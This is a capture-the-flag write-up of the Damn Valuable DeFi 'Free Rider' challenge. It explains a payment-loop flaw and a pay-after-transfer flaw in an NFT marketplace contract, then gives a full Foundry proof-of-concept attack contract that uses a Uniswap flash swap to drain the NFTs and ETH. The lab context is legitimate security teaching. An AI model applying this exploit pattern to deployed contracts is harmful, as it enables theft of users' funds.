Free Rider

Description

A new marketplace of Damn Valuable NFTs has been released! There’s been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.

The developers behind it have been notified the marketplace is vulnerable. All tokens can be taken. Yet they have absolutely no idea how to do it. So they’re offering a bounty of 45 ETH for whoever is willing to take the NFTs out and send them their way.

You’ve agreed to help. Although, you only have 0.1 ETH in balance. The devs just won’t reply to your messages asking for more.

If only you could get free ETH, at least for an instant.

TL;DR

buyMany() is a payable function and it calls _buyOne() in a for loop, which means we can pay 1 unit of money and get multiple units of NTFs. Another bug is token.ownerOf(tokenId)) is set to the buyer after token.transferFrom(), so the payment is sent to the buyer instead of the seller. In other words, we get paid by buying NFT, pretty nice deal isn't it 😎

Code Audit

In the Foundry setup we can see there exists a Uniswap V2 DVT/WETH pool:

        assertEq(uniswapV2Pair.token0(), address(dvt));
        assertEq(uniswapV2Pair.token1(), address(weth));
        assertGt(uniswapV2Pair.balanceOf(deployer), 0);

token0 and token1 may map to DVT/WETH or WETH/DVT depending on the DVD version you are working with, so be aware of this.

Looking at FreeRiderNFTMarketplace.sol, an obvious bug pops up:

    function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
        for (uint256 i = 0; i < tokenIds.length; i++) {
            _buyOne(tokenIds[i]);
        }
    }
    function _buyOne(uint256 tokenId) private {
        uint256 priceToPay = offers[tokenId];
        require(priceToPay > 0, "Token is not being offered");

        require(msg.value >= priceToPay, "Amount paid is not enough");

        amountOfOffers--;

        // transfer from seller to buyer
        token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);

        // pay seller
        payable(token.ownerOf(tokenId)).sendValue(priceToPay);

        emit NFTBought(msg.sender, tokenId, priceToPay);
    }

_buyOne() handles price based msg.value and it is called in a loop, this is clearly a bug where attacker can pay 1 unit of money and get multiple uints of NFTs.

Another less obvious bug is that token.ownerOf(tokenId) is set to the buyer after the token.safeTransferFrom() call, therefore payable(token.ownerOf(tokenId)).sendValue(priceToPay) actually sends ETH to the buyer instead of the seller.

Combining the above two observations, we can come up with an attack:

  1. Flash swap 15 WETH from Uniswap V2 DVT/WETH pool and convert it to 15 ETH.

  2. Call buyMany() and buy all 6 NFTs. For each iteration, we "get paid" 15 ETH. In the end, we will have 90 ETH (15 * 6 - 15).

  3. Send all 6 NFTs to FreeRiderBuyer.

  4. Swap 15 ETH to 15 WETH in order to payback the flash swap.

Note that all the operations mentioned above should happen inside the flash swap callback uniswapV2Call(). Also don't forget to implement ERC721 callback onERC721Received() since the NFT marketplace sends NFTs via safeTransferFrom().

Building PoC

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;

import "forge-std/Test.sol";

import {FreeRiderBuyer} from "../../../src/Contracts/free-rider/FreeRiderBuyer.sol";
import {FreeRiderNFTMarketplace} from "../../../src/Contracts/free-rider/FreeRiderNFTMarketplace.sol";
import {IUniswapV2Router02, IUniswapV2Factory, IUniswapV2Pair} from "../../../src/Contracts/free-rider/Interfaces.sol";
import {DamnValuableNFT} from "../../../src/Contracts/DamnValuableNFT.sol";
import {DamnValuableToken} from "../../../src/Contracts/DamnValuableToken.sol";
import {WETH9} from "../../../src/Contracts/WETH9.sol";
import {IERC721Receiver} from "openzeppelin-contracts/token/ERC721/IERC721Receiver.sol";
import {ReentrancyGuard} from "openzeppelin-contracts/security/ReentrancyGuard.sol";
import {IERC20} from "openzeppelin-contracts/token/ERC20/IERC20.sol";

contract FreeRider is Test {
    // The NFT marketplace will have 6 tokens, at 15 ETH each
    uint256 internal constant NFT_PRICE = 15 ether;
    uint8 internal constant AMOUNT_OF_NFTS = 6;
    uint256 internal constant MARKETPLACE_INITIAL_ETH_BALANCE = 90 ether;

    // The buyer will offer 45 ETH as payout for the job
    uint256 internal constant BUYER_PAYOUT = 45 ether;

    // Initial reserves for the Uniswap v2 pool
    uint256 internal constant UNISWAP_INITIAL_TOKEN_RESERVE = 15_000e18;
    uint256 internal constant UNISWAP_INITIAL_WETH_RESERVE = 9000 ether;
    uint256 internal constant DEADLINE = 10_000_000;

    AttackContract internal attackContract;
    FreeRiderBuyer internal freeRiderBuyer;
    FreeRiderNFTMarketplace internal freeRiderNFTMarketplace;
    DamnValuableToken internal dvt;
    DamnValuableNFT internal damnValuableNFT;
    IUniswapV2Pair internal uniswapV2Pair;
    IUniswapV2Factory internal uniswapV2Factory;
    IUniswapV2Router02 internal uniswapV2Router;
    WETH9 internal weth;
    address payable internal buyer;
    address payable internal attacker;
    address payable internal deployer;

    function setUp() public {
        /**
         * SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE
         */
        buyer = payable(address(uint160(uint256(keccak256(abi.encodePacked("buyer"))))));
        vm.label(buyer, "buyer");
        vm.deal(buyer, BUYER_PAYOUT);

        deployer = payable(address(uint160(uint256(keccak256(abi.encodePacked("deployer"))))));
        vm.label(deployer, "deployer");
        vm.deal(deployer, UNISWAP_INITIAL_WETH_RESERVE + MARKETPLACE_INITIAL_ETH_BALANCE);

        // Attacker starts with little ETH balance
        attacker = payable(address(uint160(uint256(keccak256(abi.encodePacked("attacker"))))));
        vm.label(attacker, "Attacker");
        vm.deal(attacker, 0.5 ether);

        // Deploy WETH contract
        weth = new WETH9();
        vm.label(address(weth), "WETH");

        // Deploy token to be traded against WETH in Uniswap v2
        vm.startPrank(deployer);
        dvt = new DamnValuableToken();
        vm.label(address(dvt), "DVT");

        // Deploy Uniswap Factory and Router
        uniswapV2Factory =
            IUniswapV2Factory(deployCode("./src/build-uniswap/v2/UniswapV2Factory.json", abi.encode(address(0))));

        uniswapV2Router = IUniswapV2Router02(
            deployCode(
                "./src/build-uniswap/v2/UniswapV2Router02.json", abi.encode(address(uniswapV2Factory), address(weth))
            )
        );

        // Approve tokens, and then create Uniswap v2 pair against WETH and add liquidity
        // Note that the function takes care of deploying the pair automatically
        dvt.approve(address(uniswapV2Router), UNISWAP_INITIAL_TOKEN_RESERVE);
        uniswapV2Router.addLiquidityETH{value: UNISWAP_INITIAL_WETH_RESERVE}(
            address(dvt), // token to be traded against WETH
            UNISWAP_INITIAL_TOKEN_RESERVE, // amountTokenDesired
            0, // amountTokenMin
            0, // amountETHMin
            deployer, // to
            DEADLINE // deadline
        );

        // Get a reference to the created Uniswap pair
        uniswapV2Pair = IUniswapV2Pair(uniswapV2Factory.getPair(address(dvt), address(weth)));

        assertEq(uniswapV2Pair.token0(), address(dvt));
        assertEq(uniswapV2Pair.token1(), address(weth));
        assertGt(uniswapV2Pair.balanceOf(deployer), 0);

        freeRiderNFTMarketplace = new FreeRiderNFTMarketplace{
            value: MARKETPLACE_INITIAL_ETH_BALANCE
        }(AMOUNT_OF_NFTS);

        damnValuableNFT = DamnValuableNFT(freeRiderNFTMarketplace.token());

        for (uint8 id = 0; id < AMOUNT_OF_NFTS; id++) {
            assertEq(damnValuableNFT.ownerOf(id), deployer);
        }

        damnValuableNFT.setApprovalForAll(address(freeRiderNFTMarketplace), true);

        uint256[] memory NFTsForSell = new uint256[](6);
        uint256[] memory NFTsPrices = new uint256[](6);
        for (uint8 i = 0; i < AMOUNT_OF_NFTS;) {
            NFTsForSell[i] = i;
            NFTsPrices[i] = NFT_PRICE;
            unchecked {
                ++i;
            }
        }

        freeRiderNFTMarketplace.offerMany(NFTsForSell, NFTsPrices);

        assertEq(freeRiderNFTMarketplace.amountOfOffers(), AMOUNT_OF_NFTS);
        vm.stopPrank();

        vm.startPrank(buyer);

        freeRiderBuyer = new FreeRiderBuyer{value: BUYER_PAYOUT}(
            attacker,
            address(damnValuableNFT)
        );

        vm.stopPrank();

        console.log(unicode"🧨 Let's see if you can break it... 🧨");
    }

    function testExploit() public {
        /**
         * EXPLOIT START *
         */
        vm.startPrank(attacker, attacker);
        attackContract = new AttackContract(
            freeRiderNFTMarketplace,
            uniswapV2Pair,
            weth,
            freeRiderBuyer,
            damnValuableNFT
        );
        attackContract.flashSwap();
        console.log("attacker's ETH balance: ", attacker.balance / 10 ** 18);

        vm.stopPrank();
        /**
         * EXPLOIT END *
         */
        validation();
        console.log(unicode"\n🎉 Congratulations, you can go to the next level! 🎉");
    }

    function validation() internal {
        /**
         * SUCCESS CONDITIONS
         */

        // Attacker must have earned all ETH from the payout
        assertGt(attacker.balance, BUYER_PAYOUT);
        assertEq(address(freeRiderBuyer).balance, 0);

        // The buyer extracts all NFTs from its associated contract
        vm.startPrank(buyer);
        for (uint256 tokenId = 0; tokenId < AMOUNT_OF_NFTS; tokenId++) {
            damnValuableNFT.transferFrom(address(freeRiderBuyer), buyer, tokenId);
            assertEq(damnValuableNFT.ownerOf(tokenId), buyer);
        }
        vm.stopPrank();

        // Exchange must have lost NFTs and ETH
        assertEq(freeRiderNFTMarketplace.amountOfOffers(), 0);
        assertLt(address(freeRiderNFTMarketplace).balance, MARKETPLACE_INITIAL_ETH_BALANCE);
    }
}

contract AttackContract {
    FreeRiderNFTMarketplace public freeRiderNFTMarketplace;
    IUniswapV2Pair public uniswapV2Pair;
    FreeRiderBuyer public freeRiderBuyer;
    DamnValuableNFT public damnValuableNFT;
    WETH9 public weth;
    uint256[] public tokenIds;

    constructor(
        FreeRiderNFTMarketplace _freeRiderNFTMarketplace,
        IUniswapV2Pair _uniswapV2Pair,
        WETH9 _weth,
        FreeRiderBuyer _freeRiderBuyer,
        DamnValuableNFT _damnValuableNFT
        ) {
        freeRiderNFTMarketplace = _freeRiderNFTMarketplace;
        uniswapV2Pair = _uniswapV2Pair;
        weth = _weth;
        freeRiderBuyer = _freeRiderBuyer;
        damnValuableNFT = _damnValuableNFT;
    }

    function flashSwap() external {
        // This is a Uniswap V2 DVD/WETH pool
        // Flash swap for 15 WETH
        uniswapV2Pair.swap(0, 15 ether, address(this), bytes("1337"));
    }

    function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external {
        console.log("Flash swap received! Current WETH balance of attackContract: ", weth.balanceOf(address(this)) / 10**18, "WETH");
        console.log("Swapping 15 WETH to 15 ETH.");
        weth.withdraw(15 ether);

        // Pay 15 ether, receive 6 NFT and get paid 90 ether
        for (uint256 i; i < 6; i++) {
            tokenIds.push(i);
        }
        freeRiderNFTMarketplace.buyMany{value: 15 ether}(tokenIds);
        console.log("ETH balance of attackContract after buyMany(): ", address(this).balance / 10**18, "ETH");
        
        // Send all NFTs to the buyer and get the payout
        for (uint256 i; i < 6; i++) {
            console.log("Sending NFT to the buyer: ", i);
            damnValuableNFT.safeTransferFrom(address(this), address(freeRiderBuyer), i, "");
        }
        console.log("ETH balance of attackContract in the end: ", address(this).balance / 10**18, "ETH");

        // Repay flash swap
        console.log("Swapping 16 ETH to 16 WETH in order to payback flash swap.");
        console.log("Repaying flash swap.");
        weth.deposit{value: 16 ether}();
        weth.transfer(address(uniswapV2Pair), 16 ether);
        console.log("Flash swap successfully repaid.");
    }

    function onERC721Received(address, address, uint256 _tokenId, bytes memory) external returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {
        console.log("ETH received! Current ETH balance of attackContract: ", address(this).balance / 10**18, "ETH");
    }
}

Last updated